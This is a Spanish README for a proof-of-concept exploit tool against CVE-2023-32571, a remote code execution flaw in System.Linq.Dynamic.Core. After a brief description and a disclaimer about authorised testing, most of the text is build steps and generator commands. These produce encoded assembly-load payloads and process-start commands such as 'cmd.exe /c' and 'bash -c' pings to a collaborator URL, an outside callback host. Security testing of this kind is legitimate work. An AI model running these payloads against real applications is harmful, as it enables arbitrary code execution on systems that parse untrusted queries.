
Prueba de concepto para CVE-2023-32571
Prueba de concepto para CVE-2023-32571, una vulnerabilidad de ejecución remota de código en System.Linq.Dynamic.Core (1.0.7.10 a 1.2.25). Esta vulnerabilidad permite a los atacantes ejecutar código y comandos arbitrarios cuando se analizan entradas no confiables en métodos como Where, Select, OrderBy.
Esta herramienta se proporciona únicamente con fines educativos y de pruebas autorizadas. El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Los desarrolladores no asumen ninguna responsabilidad ni se hacen responsables de cualquier uso indebido o daño causado por este programa.
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dllGenerator/bin/Release/net9.0/Generator.dllLa herramienta admite dos modos:
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# Linux command execution
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode: Modo de explotación (0=AssemblyLoad, 1=ProcessStart)--file: Ruta al ensamblado .NET que se va a cargar (obligatorio para el modo AssemblyLoad)--type: Nombre de tipo totalmente calificado que se va a instanciar (obligatorio para el modo AssemblyLoad)--parameters: Parámetros según el modo:
--encoding: Método de codificación para el modo AssemblyLoad (0=Hex, 1=Base64)